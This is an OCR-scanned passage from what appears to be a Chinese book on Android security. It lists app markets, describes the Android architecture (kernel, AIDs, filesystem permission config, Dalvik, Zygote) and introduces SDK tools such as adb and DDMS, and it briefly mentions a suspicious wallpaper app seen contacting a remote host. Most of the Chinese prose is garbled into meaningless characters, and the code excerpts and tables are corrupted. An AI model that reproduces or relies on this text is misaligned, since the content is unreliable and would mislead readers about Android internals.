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H:FEclipse(ADTR BEAY T RB ST A9 FF REAEE, HTF R WikA
43 Android iV FiIF2 5 A BLITL 3%

B 1.11 Android 3= 4%

1.4 Android i B4 1%

Android i 7 AT LAMARZ B AE T 8 T %3 . B IR Google AR E L4482
BT HAKH) Android BRI 47, (BRF & 24 MHEAE Android #IFTT 3 |
FENA, HINEDE, X — & [ iPhone B I R E A KA —FE. LfEH
Android R FAR (4117 3% 4 07 FRAR 7 I8 2 1o P b (O IAE SR 2 MR A, AT AT LAAR
BEMTT R — S BRAE (BN Ch% S RTTAT R R SR BAA ) . SRJF A%
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| Google A ] A Android i FH# AT, K%
RO T, XS Google /4 ] & BLIF ;
fER+E . SR, B THIRZ A Android i FHEK SM EUE
Hri g, Hi, R SF — L HHE i 1B SIM £9E
Android i I T B P Z B X R EE K L

P ek, WE 112 B, MH Pk LEERE
FEA AT FE AR IR T 2% h R F A, it
XFELL T, Google 2 ) W48 XU RS % 15 45 T
M. EAR—IEBEMILE, Z0NMZK
SERA | —FE, X EABIE & AR AT
Zettt, AEHAMBIN AR L.

R Z&XT Android [ A4 T 9 X AFTE
=) V44 -

1) BM{ER Google /%] H . # Android i} e i
FABET Y, WA XN R FEAT I w0 2ok @R
iR el o T

2) AP RZEBETRIEMN G AT S LIRS HRF, HHRHEXL
IO F AT BEAF7E H AU .

3) FEMNE (WM AHNES) B Android [ FIFE A XA A F BEA T
FUEMBR G BEERE F 2O LH, WA FHRRBEA.

# 1.1 JE/R T#4 Android 5 FHHK {4 4 S WAk

% 1.1 Android N B4

BTl 5 4 75 ik
Google Android Market https: //play. google. com/store *
Amazon Appstore http: //www. amazon. com/b? node =2350]490]i *
SlideMe http: //slideme. org/ *
GetJar http: //www. getjar. com/ *
Soc. i0 http: //soc. 1o/ *
1 Mobile http: //www. I mobile. com/ *
Appbrain http: //www. appbrain. com/ *
AppsLib http: //appslib. com/ *
Handango http: //www. handango. com *
hitp: //www. motorola. com/Consumers/US- EN/Consumer- Product- and- Services/

Motorola

APPS/ App- Picks *
GoApk http: //bbs. anzhi. com/ *
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Android % %% 4534

(£8)
L SERIE R ok
Androidblip http: //www. androidblip. com/ #
AndroidPit http: //www. androidpit. com/ *
Appoke http: //appoke. com/ *
AppstoreHQ http: //www. appstorehq. com/ *
BlapkMarket http: //blapkmarket. com/en/login/ *
Camangi http: //www. camangimarket. com/index. html *
Indiroid https: //indiroid. com/ *

Insyde Market

http:

//www. insydemarket. com/ *

Appstoreconnect http: //appstoreconnect. com/ publish/ %
Mobihand http: //www. mobihand. com/ *
Applanet http: //applanel. net/ *
Handster http: //www. handster. com/ *
Phoload http: //www. phoload. com/ *
1.5 I©hgG
ABEEENE TIHERBI RSN R U LERE EWE KK, iHie T

Android REE R 5 A R H 5. ERT, Android B4 A AT 88FHLFIF #i L fi
(F-HR e il 77 1] iPad ER—DAREIES) NEERZEFE. BE, ZFZENH T
BB LM EE, A NEARFN, WaYREFSEREFHZ LR
o BJ5, LA Android N FHERFFTT R AME R B4, BT T AR Android 9%
UM ENENE. B2, XTHA, &k, FREMEZLET WA RK,
Android (§ Z 2 LM TIEF BRI, M52 T, AN Android

RGMEERE AR, SREAEEEITIE Android R ETHY) & 2[R AT,
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AFEEEN G Android (IR R L5, ¥ T Android GBS NEKR, M
Linux WZEI EEMAH, DRENERFENZERNENEE. RE, 5| FEEZE
£ 1 f#M Android /5 it 2 %] Android (FFIAEE P& FIZE, B4 T Android %k
& T B4 (Software Development Kit, SDK) 2t &Ff T E, )5, HilsL
B Q] T %3 Android SDK, DA B ffi 45447 shell T B[R] Android & 4t
f1XE,

2.1 Android & Z& Z& #3854

Android Z 4t A LA B2 H A 6] 2 0 i B B F AR, B 240 2l B 593 RE - []
FERMFFERNIRS . Linux HEE FREERNEKRE, H ERAHEFM Android
IEFTAf AR (Dalvik BN SZ.0PE), HE—2 2N HE
FFHEZE)E, FTFSEP Android [] < #b JZE Fl Linux % 3CH., N T
B B2 Android B & RN HIFEF . LT EZREWIEAN [e—

1, FE2.1 R T Android BRI Z IR, B 2.2 fik =
TE— R i, YR PERA LTI PR

Linux ¥
2.1.1 Linux JiE s

Android £ 4t #Y) Linux W AZ . T Android {44 10 & s
B, EARBEE KWL MESEMN Linnk R4 (6 40
Ubuntu) , TiZ42H T 4449 Linux RE M MENRG, SaBmiiit, EHEM
EETEMARXAE Fi2f7. HiIt, Android ZZHY Linux A RA — 50
Linux %A RRAHOHRE, 0 X 8 0 &%, /bin H 3 F 9—B LM GNU TE (f
m, sedFTH), DR —S2RGHEE XM (N6 P %5 i/ etc/shadow A4
%), 2.1 JE/R T Android % 4t i 4= f1 H & F 9 Linux N % B A B X R 6 R o
Android F MERL T #6554 Linux PAZACED, MR T — 4% ) Linux B9 3C,
LI THFHARIFE . % Linux P44 % i Android FIBA SR 4D, BT B30 E
BT A TG R AR Android RENIA ., MEZLPERIME KA, XAME
WCREER, FER Linux 24 Ml FR L — B e Rt fT, RAM
A 3 45 33k 622 2 A AL A BT b il A %] Android Z& %59 Linux A% 53 3Z, At th 4 ik H
F 3R SR Linux ZhEE .

2.1 Android #{4
AR L]
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RS

Home Contacts Phone Browser

R FTHESE

e A Window Content Bl = & 3 :
Activity Manager NEnBeer Providers ME RS BB

' : Telephony & pag : £
Package Manager ]fli‘lil‘;nr\ Nﬁgggter REFEEA XMPPIR 5%

Android iz {7 Ff5HE

B FE

SR AR D HIBLA : PR 2) Biridg& igjn»o) :

USBIK 5l B K file "

e G etk o

2.2 Android BkfFk i45 |2 P4 14:C
#®2.1 Android RS Linux MLk R X &

Android % 4 jifi 4= Linux #ZRRA<
Android Cupcake 1. 5 Linux §# 2. 6. 27
Android Donut 1. 6 Linux % 2. 6. 29
Android Eclair 2. 0/2. 1 Linux A §% 2. 6. 29
Android Froyo 2. 2 Linux A#% 2. 6. 32
Android Gingerbread 2. 3. x Linux 4% 2. 6. 35
Android Honeycomb 3. x Linux P9#% 2. 6. 36

Android Icecream Sandwich 4. x Linux N#% 3.0. 1

HHF BA ) Linux 4%, Android R4EHY Linux WS X E R MA TIRZH K
who TWiEVTHI, Linux #X #6575 H N —4 Linux % &4 (BP Linux P4
3.3 RA) A AL |

Linux 24 Android RE4EME T IR R 2R, AMERAMS, K FE, €2
B, EREEU RN E S LRI, b, (SBhEE S, Android
A ARAR R S A SRR bo [RIRY, Linux POAZ R4S 4R (L T 38 A MY iR & IR 345

© RO AR hup: //en. wikipedia. org/wiki/Android_| operating_system ] , ——[R$33E
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R, HEEMZ, £ Android ZIARTAIEIN T —MEAMRZ . RIRNEEL S, T3
o HAESIR, FHit, REH LEESWsa] A E#E4%2 Linux &S, BBk
BIHEFR. ME, TI1H - MNEROBRMAIF KAt X A Linux NAZREWREHERTF . XFf
ik FEH TR EEZE, N, f Android RGEA] LI Z IR RBERIRE, JU
HATF AR BRI, X— S B hEE, 0, [GBiXFhs TEEFRSRENER, ATl
B WA AEERS GRS 1R EIRNFEF . Android ZRGEAKHE Linux 4245 5
FRERGYIRE, FEGFE VO, AFEHEMHAREHESE, K2.38/R T Android
2.3.3 IR G FHE Linux HZRIRASS (f#i ] cat/proc/version AF2HE ) o

0 £ 4 Anmol — pentestusrl @tools-gibbons-vm=2: - — ssh —80x24

pentestusri@tools-gibbons-vm-2:~% adb shell

# cat /proc/version
Linux version 2.6.29-09261-g0@97074-dirty (digit@digit.mtv.corp.google.com) (gcc
version 4.4.0 (GCC) ) #2@ Wed Mar 31 09:54:02 PDT 2010

#

& 2.3 Linux NS

W% 4 FE EKE, Linux 3 Android RGE4RME T — AR EZ M2 T H
FALBR A 22 A8 R . 1 B, Linux A% A Android $84 T P72 I B A1 %2 4 9 TPC
(Internet Process Connection, HEFZ[A]3E(S) IhEE. [GIAT, Android ZEEE &KW T
Linux A4, XFERESE/NT Al B2 Bk 9T FEl. ZENA% AR, B4 Android 7 %R
FEAE S — > B B R P A AR EAT, 7E Linux A% L, TR P AR ARLUAR R i
R PR PR A IR 05 B, SR TR FAR P RisfT (B, PAE,
CPU, HABZ&%), HFX%44%E, Android % Linux PRZMH T — & B9t A
shaE BN, KR R T R AL A ID R e 60 4 A i AR A IR), % Eh B
i#sF ANDROID_PARANOID_NETWORK Py#% 4 R e Wisc i, R HE M RF4 ID BE
175 ) [ 24 S0k SF RS T BB, X BERELH S X 7E/include/linux/android_aids. h (7%3C
P F A IRAS ) SCfErR . MAREDEE | AL, P9Rk4L AID_INET #9341 1D 55
3003, HABCRZBEA R MR A B SL/ FTIT IPv4 Fl IPv6 BT

/* include/linux/android _aid.h

%[

#ifndef LINUX ANDROID _AID _H
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#define _LINUX ANDROID AID H

/* AIDs that the kernel treats differently */
#define AID _NET _ BT _ ADMIN 3001

#define AID _ NET _ BT 3002

#define AID _ INET 3003

#define AID NET RAW 3004

#define AID NET _ ADMIN 3005

#define AID NET _BW STATS 3006 /* read bandwidth
statistics

*/

#define AID NET BW _ACCT 3007 /* change bandwidth
statistics accounting */
#endif

LB E 1  include/linux/android_aid. h

— H 33 6 P4 #% #H 7E/include/linux/android _aid. h SCF e 8 X, 88k B 5T 2
/system/ core/include/private/ android_filesystem_config. h {4 #2484 “inet” .
THEAEE: 2 BLE android_filesystem_config. h 3C{4, 7] WL 24 % “inet” kL
$TE) T AERE “AID_INET”, EB4 ID 3003,

static cost struct android id info android _ids[] = {

OO, AID ROOT, 1},

{ “system”, AID SYSTEM, },

{ “radio”, AID RADIO, },

{ “bluetooth”, AID BLUETOOTH, },
{ “graphics”, AID _GRAPHICS, 1},
N EnRUL”, AID _INPUT, },

{ “audio”, AID AUDIO, },

{ “camera”, AID CAMERA, },

§ Moa”, AID LOG, },

{ “compass”, AID COMPASS, 1},
{ “mount¥, AID _MOUNT, },

f N wifee, AID WIFI, },

{ “dhcp”, AID _DHCP, },

{ “adb’, AID ADB, },

{ “install”, AID 1INSTALL, },

{ “media”, AID MEDIA, },

(> darmt, AID DRM, },

{ “available”, AID AVAILABLE, 1},
{ “nfe?, AID NFC, },

{ “drmrpc”, AID DRMRPC, 1},

{ “shell”, AID SHELL, },

{ “cache”, AID _ CACHE, },

{

“diag”, AID _DIAG, },
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{ “net bt admin”, AID NET BT ADMIN, },
{ “net bt”, AID NET BT, },

{ “sdcard rw”, AID SDCARD RW, },

{ “media rw”, AID MEDIA RW, },

{ “vpn”, AID VPN, 1},

{ “keystore”, AID KEYSTORE, I},

{ “usb”, AID USB, },

{ “mEp*, AID _MTP, },

(= gps”, AID GPS, 1},

{ “inet”, AID _ INET, },

{ “net raw”, AID NET _RAW, },

{ “net admin”, AID NET ADMIN, },

{ “net bw stats”, AID NET _BW _STATS, },
{ “net bw acct”, AID_ NET BW ACCT, },
{8 YIS e, AID MIsSC, },

{ “nobody”, AID NOBODY, },

RSB 2 android_ filesystem_ config. h

4 Android i FAFEFFIE R 7 [ B EE R AT, SCRR B RIER T IPv4 F1 IPv6 £
FHIFLPR , iE it/ system/ ete/permissions/ platform. xml ST 1 FH 752 e B A PR w55 3]
“inet” 1BARA, AkTMLESEINZREA AID_INET |, R A9 xml (RSB A F 55 2K
I PR Py B A PR B 559 21 ] A% B 2 ATD_INET

<permission name="android.permission.INTERNET” >
<group gid="inet” />
</permission>

iﬂ%ﬁﬁ‘fﬂlﬁlﬂlfxwmuHEJ*‘%!H EATRF PR (R BN 2. 4 Fs o

upptes“allpaper
S (sleeping)
278
278
33
TracerPid: %]
10036 10036 10036 10036
10036 10036 10036 10036
1 256
: 3003
82888 kB
82888 kB
2 k8B
18988 k8
18988 k8
11384 k8
84 kB
4 kB
39844 kB
kB

2.4 2K45 LIRS (0 R PR B SR 41 1D O 3003 (AID_INET)
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MNZLE/MERE, bR THAZEA ID B REEAKI, S —1EE/
TAEFE, MiREfEBIT android_filesystem_config. h S04, Z 3 dE LT Android
U RGEETA A R B BT @ AL . 514N, /data/app H 3%J& T AID_SYSTEM A
PN AID_SYSTEM Bf2H, WniE 2.5 s, 1z &R F it s

{00771 ,AID_SYSTEM, AID_SYSTEM, “data/app” |

2012-02-28 02:

2012-92-26 10:18 anr
2011-12-23 23:4@ dontpanic
2012-92-28 92:35 dalvik-cache
2012-04-29 94:18 backup
2012-94-29 19:48 system
2011-12-23 23:49 lost+found

& 2.5 android_filesystem_config. h S {fE L/ data H FHHHEE R systemo

Hrp, 5—NFERZEFEURRSIR (KRR 771), B _AFEMB=1FE
FAHAEE P ID fBEH 1D, &5 — 1T F BN H FHE. android _filesystem_
config. h SCAFR A CHS B 4N F Fr s .

static struct fs path config android dirs[] = {
{00770, AID __ SYSTEM, AID _CACHE, “cache” },
{00771, AID _SYSTEM, AID _SYSTEM, “data/app” },
{00771, AID _SYSTEM, AID _SYSTEM, “data/app-private” },
{00771, AID SYSTEM, AID SYSTEM, “data/dalvik-cache” },
{00771, AID _ SYSTEM, AID _ SYSTEM, “data/data” },

{00777, AID _ROOT, AID ROOT, “sdcard” },

{ 00755, AID _ROOT, AID ROOT, 0 },

i

/* Rules for files.

** These rules are applied based on “first match”, so they
** should start with the most specific path and work their
** way up to the root. Prefixes ending in * denotes

© system f& Linux N RGH P . —— &
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wildcard

** and will allow partial matches.

74

static struct fs path config android files[] = {

{ 00440, AID _ROOT, AID _SHELL, “system/etc/init.

goldfish.rc” },
{ 00550, AID ROOT, AID _SHELL, “system/etc/init.

goldfish.sh” },
{ 00440, AID ROOT, AID SHELL, “system/etc/init.

trout.xcl. ¥,
{ 00550, AID _ROOT, AID _SHELL, “system/etc/init.ril”

{ 00750, AID _ROOT, AID _SHELL, “init*” },
{ 00644, AID _ROOT, AID_ ROOT, 0 },

};
RI5E:3  Android &4 H 7 K SCEALR

Android P# X} Linux AT — & ek, £33E Binder IPC #LH| . HLIREH
Hep, (MHNFEHEBMHERGSHE. HERFINEEAERA Android R4 _ER1{E
T—/1HEICETE, Bl logeat 52 . FEARESH A Android T H—F7H0%

PEARST 4 logeat 54
2.1.2 REER

Android f & —4 C # C ++ SZFFE, X THFEREYE Android 248N A [E AL
M, W32 2, JFEE T LUED N ARFAELZME A R E, A, AEHE
TRAEAMZ, XRE R EZE N R E AN AR FELZ OB EEMH Java 55
WE, SENARRE, AZFEEFRMHCHC++iE5 W, HEKEEAM TR
HREDEAL . Android [ FHFERF AT LA ] JNI (Java Native Interface, Java ZA<iife1)
Pk e 7 FrE SRR sR BTN BB, BR T 2% C JE (bionic), KER/HHIZFFERFA T4
2ah, 1 SSL, SQLite 25, Android f1Z%; C FE, tFRA bionic, AZMLAEIE] libe FE,
EAET BSD BAUFAIHAT libe FESEAT THETRT, MIEINEAFHRARXFE.

2.2 Android it EEE

¥ W EE W M
Media Libraries FLF Packet Video Open Core, 74FZFhH FHE M PRATRE X A 37 o AN [E] TR B
SQLite 7 R P 1 7 G B 13k 56 25 RUMAUAR PE S H°F
SSL SRS LAY fin % Th e SCHF
Bionic FYC R, RBLET CIEFHRZREUE
WebKit Android 2 %5 8548 FH 9 20 YT 28 5| 58
Surface Manager REE BR T R G SR mE R
SGL FiF Android ()i )2 2D FETE 5| %
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2.1.3 Android iE{TH IR

Android iZ1TH A EE H M ;. Dalvik EERIHLAZ O FE. [ Java iE S %
B9 Android 1 FIFE P B4R Java 25301 (. class #55X) , {H2 Android A& H
TR, TRMEREE . class #R M2 BRI Dex 2, RIETZ
B Android Y- 531217, Dex &I ZFTE— LT Java E#IHL (Java Virtual
Machine, JVM) RIEHIEMPL E, BP Dalvik BHIHL. BAA Java EBHILFD Dalvik
BHPLEgE L BREAR R, PWEZEK X5 G0E 2.6 fra. Dalvik ERIPLE T
Linux NZREEHE IKZHTIRE, tNFEHE,

D\];x.lm,L

I LY h f&l '.:’Iilii[‘.hli,cl;lss

(e a0 destEpuMp
Wa

PSS N

{4 15 0% de
S

AR hfkl
(Javails 5)

class{EIVMrj1ia ] §

A ikl class 1

B 2.6 Java EEHIHL (JVM) #1 Dalvik EEfIHL (DVM) ZeiEdfExf L

Android f & —4HZ .0, $R{ET Java API ( Application Programming Interface,
MR HEED) PRI ThEE. ML T 12SE, Android 2.0 FE T2 i) API
B Java API f— /MG ARAS, BN, Android %0 FE AN 3L #F Swing 8¢ AWT & JE
H, {BZ18En T Android 54 i /%, 40 SQLite, OpenGL 5§, FE#R AFREEH,
Fil J2SE #9384 APl & SECEE MBS IE I8, M 22ME WA (R Z IR 15 AH E fE
RTEBUFA, MHESFE - ENZEL2RE. WRFEH 2ME, SiHENE iR
% 15] Oracle AT RAGFAI % . MH, HFLKLEIE, Android iR 4T &
{LRETE Google H &2 A &M BHUAL (Dalvik ML) Eizfr, @nREH 2ME, R4
Android i FHARF ST EAE R A B RIUDL (40 JVM) FiEfT, XMl B R E 2
WHOTIRER S, WTifFE—E ML LRE.

2.1.4 NHAEFIERE

Android i FHFEFFHESE /238 f Java AP 424 T —HINBBEEE M, A KAR
FER AR AR o X2 T BE 32 B0 R O & RPN AR i B R IR S5 S,
H, B R EER S A EIEE S EEEAY (Activity Manager) | BEURE AT (Re-

O KLV, B PGSR IREGIE P47 0TI, oI —ME SN, —iF8 0
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source Manager) . [\ B H2S (Location Manager) #Filif 1457828 ( Notification Man-
ager) , ZZEFEMEHERS FIHINEEHH N 2.3,
#2.3 Android N ABFERENEERSE
R 5 w8

BN R A AR Activity A= ar RS, MW ARFRET
Activity Manager (& EHESS) Ja—A~ Activity B (403 28 FH startActivity ( ) B%0) , TEShEEARE

it AH Rz R 55 h A
5T A 1 || , ¢
Resource Manager (JEUEAS3E38) RUEXT AT IR A VT DIRE, MFAFER ., By R R SO AR
R
Location Manager ({iZ & EEEEF) FROLHO B RS, i CPS %5

AR B R E R MR, fln, HNRABRFEZERR
FERAFRIR S, BT LG A B AR R B AR 55

LERESERZERF (HLEREGHR) —ERTHRRF
%%, Hedr i R F XHAFHNER

8 57 PR P T LA (7] 57 — 4> R PR R P B 0 (e R A\ B P )
AL LN A C %R

Views (L) RAE—HEFORAE, BNARFERRREER

Notification Manager (i@ FHIEEEAF)

Package Manager (& HZE)

Content Providers ( AZ&#4E#)

2.1.5 MAEFE

FRINMEOL T, Android R4i4 A —HDIREE B N HRF, SEN KA. &8
[FERFE. B, WAEPm, MENA ., BRRAN, FRIERHES, XLBRFEHE
(i Java iIBEFHME M. WRHPIERE, &0] LU Google Play (B Android Jiz FI%K
Hiiss) FEILMA R AZESREN], Android RHA LXK 45 AR T2 A 2P 4
BHZERG AWK, SEWERE. FAP e TR A, Opera Sl HALN AR, X
F Android ZRGEHUL, X LLR WA R RGN E MW VAR AR S R S X fF, PRI
B OB RAE R B R S BN 0T T I3 . A A1ESE 3 ZPRAITE Android i
R B R S5 .

2.2 Android 243315 Zygote

AT E. 2141853 T, Android 44/ Linux R4, Mi{UUEHET Linux A%
B, FiEZEEAMERZL, WIEERAKARR. B Andoid B FEN
W R — MR 2 Linux #ER . —5FIR FFAESAT I HR R — B i AR
(LERBFBRI) , RAMER T, BOHRPELH MR, RRZEET Linux
MRS —KE, Android ZRZES BhAF, 3195 H 8 (boot loader) MTTIMBMAEL (HI
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A Android R & HBGH MY Linux %), ZJ5/8 30 init #H (HFRAPVHRHARE) .
B oA R AR | init AR, ZHABAE B LS G, W adb, USB,
UREMBEAH)E &R, EX&FEHREHZ/E, nit #7EEG 3 Zygote i#f
2. T Zygote HF2 B 0% — 4 Dalvik BRIHLIFFEME A BZ L2, HE5FH
B REM. Zf5, Zygote Wil socket B2, ERFHT Dalvik BHIFLEIE 3E K.

M NFRIN R R g 3BT, Zygote Y5 U3 Dalvik B HIMLAY S ShiE K. 1t
At, Zygote &R —NFHHHRE, ZHABRR T ZAELWMBILIFBIHETH
Dalvik BN, B TH AR R RYR T Z 012 L0 EHE TR Dalvik B
PARTE, HBEEEHREFFIFOLEE, RENHBRBFREBRXEEEZRE, &
W, JEsh#E Dalvik BRINLA S FERGEEMZE, nit FF2/53) Zygote FHFEZ
Ja, Zygote SR H — BN “system server” WIEFRE, HEZHARBINA
Android B9RZ0 RS, AN Activity BIRAR %, A WZ LRSS EBI5EE, Android
FEMERETHAP T FRNARR, 80N ARTFNE SIS Zygote 4Rt
BRI QI — B9 Dalvik AL,

2.3 Android SDK R HFEITE

ATHHER Android N FIRRFHFF R FALEITIEE, BREXTHIR TR FEH
NABFFEANG, (EEXFEEHF KR, X Android N HBFHITEZ LKA
i, BGRIFREERAIXE T REMRMHYEER ., AVERN, EENXEBEEECH
Ay b #57 Android 7%, FHFATLIFF & . ik, @f7FiREn R .

Android FREE ) FEEH I U

1) Android SDK (Software Development Kit, #{F % T EA),

2) Eclipse £ i 7 & #3% &2 ADT ( Android Development Tool, Android JF %
TH),

3) HAhFk T H, 35 DDMS, logeat 55,

2.3.1 Android SDK T# 5%

Android SDK FlFFF & fliZ4T Android [ FIFEF, £U3E Android FE, T HLL K3
B, B A M Android M 3% F 4 %% T3k, (] Android SDK Z B, 4h41% %
Java SDK, Android SDK BZ3E TR A0F ;

1) THRES HCHMBIEZRS (U0 Windows, Mac Y Linux £4t) A SDK,
WRIRE R G/ 64 PLARARH) Windows R4E, ZRABRWRESH —&ARR, Rtz
HERMREAER R BA, XFF Mac Al Linux REE, T2 5K SDK 22355 40 i 2 T
BEREET, RGEHMEREE RN Android T 7%, FFLHT A
{LF i HE H R FEY tools Ui, i 2.7 B,
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anmmisra-mac;android-sdk-macosx Anmol$ s

SDK Readme,txt add-ons platforms tools
anmmisra-mac:android-sdk-macosx Anmol$ ls -1 tools/
total 13056
drwxrwx---@
“fW=IW=-==--8
-rW-rw-~--8
- PWX rWX - X8
drwxrwx---8
= PWX WX - X8
druxrwx - - -@
- PWX WX - X8
- WX WX - X8
~ WX WX - X8
- PWX WX - X8
- FWX WX - X8
~ WX WX - X8
~ WX WX - X8
~ PWX WX < X8
“PWXIWXT - X8
drwxrwx---8
“PWX WX« X8
- PWX WX - XB
- PWX WX - X8
drwxrwx---8
~rW-rw-r--2
= PWX WX - X8
drwxrwx---8

Anmol staff 170 Mar
Anmol staff 330887 Mar
Anmol staff 323 mar
Anmol staff 3491 Mar
Anmol staff 170 Mar
Anmol staff 1977 Mar
Anmol staff 10Z Mar
Anmol staff 3116 Mar
Anmol staff 52516 Mar
Anmol staff 1840 Mar
Anmol staff 45752 Mar
Anmol staff 2719756 Mar
Anmol staff 2619568 Mar
Anmol staff 150488 Mar
Anmol staff 3282 Mar
Anmol staff 17408 Mar
Anmol staff 2108 Mar
Anmol staff 2015 Mar
Anmol staff 17256 Mar
Anmol staff 3169 Mar
Armol staff 340 Mar
Anmol staff 66 Mar
Anmol staff 602716 Mar
Anmol staff 102 Mar
~ PWX WX - X8 Anmol staff 3044 Mar
- WX WX - X8 Anmol staff 61636 Mar
anmmisra-mac:android-sdk-macosx Anmol$ (]

114 Jet

116 NOTICE.txt

116 adb_has_moved. txt
114 android

115 ant

114 apkbuilder

114 apps

114 ddms

114 dmtracedump

:14 drawdpatch

:14 emulator

114 emulator-arm

14 emulator-x86

14 etcltool

114 hierarchyviewer
:14 hprof-conv

:15 1ib

14 lint

:14 mksdcard

14 monkeyrunner
114 proguard

114 source . properties
114 sglite3

114 support

114 traceview

:14 zipalign

LI S PR R B S Y

o
3333333333333 3333383333888

EEEEEEELESLES 838888888888

P e (D e e

2.7 tools C{He A Y& Fhss T B

2) HEHIAEEARE: PATH, 7 PATH A rdfin “ <SDK 4% > /tools” #1 * <SDK
4% > /platform- tools” 42, XAEENME7E SDK H 34, e ar417E HxX L SDK
LAY Android T H.,

3) fFEMA T “android” #7432 Zh SDK 45 HH 28 YELRAHSE T #AY An-
droid ffi4<, Android SDK & HiZE A AN [& 2. 8 ff7n .

FAE FF U448 B Android , 475 2 A ] SDK 45 3 28 6 2 — 4~ Android 540 2%
(Android Virtual Device, AVD), 2.9 fif7k. AVD @l /5, #AlLA7E SDK &
FREEh ] AVD SR E, M8k, AT L B AT A emulator”
74 A 3 Android #4018, Android HEH0 38 ELAT 564 /) Android HAFHRINRE, AT
AL Android 7 FHFRF . NS B34 ELS2H0 Android %45, f#i/] Android £41L
AR E,

2.3.2 Eclipse 1 ADT F & IRiE

Eclipse & — 4~ JF J8 4 4 il 7F % 5 5% ( Integrated Development Environment,
IDE), WA B TR S TR, |3 Java FiFF B BORR . i Eclipse 9
WfE, AT DAL AR IR A RIF, W C, C 4+ PHP %, AHHEREMM
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Eclipse FFRHEFF AR FH & Android N HIFEF, AP AT http: //www. eclipse. org/
downloads/ M35 R # Eclipse k{4,

{i# /4 Eclipse JF & S #: & Android i FHFE 7, &7 E T 8 %% ADT ( Android
Development Tool, Android 7% T &) fiff, LELHEWNT .

1) FTFF Eclipse #44, KIK%ESE: “Help- > Install New Software” ,

2) WE2.10 s, A “Add---” S URL: “https: //dl-ssl. google. com/
android/eclipse/” ,

3) fEFHIFIEMERN, A3k “Developer Tools” , 3 H Sy “Next >” #4H,
X OF R “Finish” %4,

4) HKIRiEFE “Eclipse - > Preferences - > Android”, i “Browse:---” F&4i%
# SDK &3 B81% .

Available Software
Check the items that you wish to install.

Work with: pADT ‘https://di-ssl. gooqle :omlandro‘dledlpu/ -
Find mnn mwmm'

[ type filter text

Raman_____ B W BN ) e
NaTS it g ) oty o e VR VT e e i WMDY ppeo pd b e vy e mwy g o)

g ¥ i Developer Tools - LR "

=] %y Android DDMS 18.0.0.v201203301601-306762

S "‘"\0 Android Development Tools 18,0.0.v201203301601-306762

=} “ Android Hierarchy Viewer 18.0.0.v201203301601-306762

o “% Android Traceview 18.0.0.4201203301601-306762

S e R USRI 1A 0. SN e T S T Y W D e R Y W T M TR AR

(selectAll | [ DeselectAll | 4 items selected s L b b U PP

i : {
Tt

y-m‘“‘&r‘-—-‘—" o 2 Gt ol > e = Ak o B 4 o ik B Rod i g3 LD S g, T l
by BOSAARTRENAN 2 XY SRR N L o DAY -;#Mi&mn' ¥ mﬂm‘i.
dm&mmmamm (] Hide irers that are already installed

@ Group tems by category ‘ Whatls lready installed? o
gwmmmammwowmm 3 e

P 2.10 Eclipse f) ADT ffifHR{EEAFF LA TR

2.3.3 Android TE
Android SDK #£ {42 £ 45 F # T AT Android J N AR B 2 K534
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FETAMNANER?2 4, ABASXIA TEHITHEM TS, UEEITHES5A S
FEAEH=FERM T E, #5 DDMS ( Dalvik Debug Monitoring Service, Dalvik
BV 2RSS ) . ADB ( Android Debug Bridge, Android #if#7#:%%) F1 Pro-
Guard, 2.4 5457 SDK #2{ftiyix 4L T A K H &, i@id Eclipse #) ADT {4,
AP A LATE Eclipse Effi e T H, JLHE Eclipse FH DDMS fREE O, gER T
7~ Android i FIF2FF7E Dalvik BHIML EEfTEE . N TEMNIFEHFEEESE T
8 P 3y «
http : //developer. android. com/ guide/developing/tools/index. html

= 2.4 SDK 24t Android TE

r & A %
android AT Ma447/E5h SDK EHES, BHE AVD LK %% H At SDK 414
emulator AT RSB &gils, ST FLEAALBIHREHER

FF L Android RE R P, REEHOHE, RERFRR, RELBMERFE.
logeat, HBMIEHESRERFE . REBAEGED, BB EUSIEERS
hierarchyviewer FTF AR AR R A8 P F

hprof- cony FATH Android &t ) HPROF SC{AF# 46 A% 7 b T B REGE 1R 51| 2 75 AR HERE X

sqlite FTF#&FE Android i FIFE R R GIERY sqlite3 B

AT @A ATREM S S shiE &E (5, adb B—A4 /S (FPm/REER) &
KRB, TLLEFRFEHER (fEX adb /) FEMSRELRSE (EX
adb fR%53%) #ATRE. Fln, AP AT LLE L adb shellO L6y 4 AT R %3 Android 17
R . &R/ B &R E 85

ddms

adb

proguard Android $2{£a0 A B ARIIERE TR
traceview EEatr TE, FAFaEENHARFNHEER
dx FFHE . class S5 B5E L AL AT LAZE Dalvik BEFIHL LizfThY . dex FHR M
mksdcard FH T B AL A5 FH B SD R rE S BRS04
2.3.4 DDMS

f& BRI RS sk F AL B RES (P 7E UL (User Interface, FF O sk AN EH
O, XEHEOEMABRFOHAARm) B0 EEENHBRRFOT IMIIEE. H
2, BRTH U EENNHERFETHY, MFEMAH DDMS TH, DDMS T A
BABRKNDIEE, @HAEMURGHERESTHFAGER . HREE, UANKEEE
LA B AR MR SR B B9 S R B %5 . LAk, @ Eclipse i ADT #fifF, HIF &

© adb shell, & adb $2{E{) shell #/F, FF AP il E{# H <[] Android 2F Y Linux AE#TRE,
T Windows RGE A& HRFFRI O, 02 Linux REE L#Y bash, ——iF#&
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A] LA [A) logeat T H =4 iR (EEIER) M H FHiLH,
fE Linux 5% Mac R4t b, AP A LUEMLSITE D FHEA “ddms” &4 B3
DDMS T H., #nf 2. 11 fizn. Al LA7E Eclipse #{4 L] ADT #F{4ijia] DDMS %
E&E O, nE2.12 fias, AWE 2. 11 AL, @it DDMS R] LAZRISAERR A AR B L 51
& LETHRIAREE, BhE ARKRSRNREASTHERIIE, Ak
EEHBENTEFZHBRNHEXEL . ZETHH#HEIIRABRE S SHER ID
MiEEZ., Fltn, &Sd54 4 com. Adam. CutePuppiesWallpaper fi##2, 7] LAZEA i
& O & RSB E R RGBS Z R A5 B 55, DDMS A& A]
LB R AELIER EHE R filin, EzES, YRy AEFRIE, B
# 0 F Y Log H&IC#15 B % %] MCS_BOT_Service R &> a5, b5, Log
HEFROWNERESME KM EVRH . k2Zhomeunix. com Jo¥Ei[A] (B “Unknown
Host Exception; k2homeunix. com™ ) , 4k, BEALL R H XA,

Dalvik Debyg Monitor

?- ?~w 2 S Bl et e SRR LI S T iy oo gk e 3 mﬁml

saoEe o oo

3 e ey T - B . - DDMaware? yes

L g b e e g App description:  com.adam.CutePuppieswallpaper

Comtapcholophons 13 .&, 504 VMversion: Dalvik v1.4.0 |

ipcoomronsaft.opeownn | 113 | % 8602 ProcemiD: S¢4

com.androtd systemut 123 (3 8603 e ety PRl |

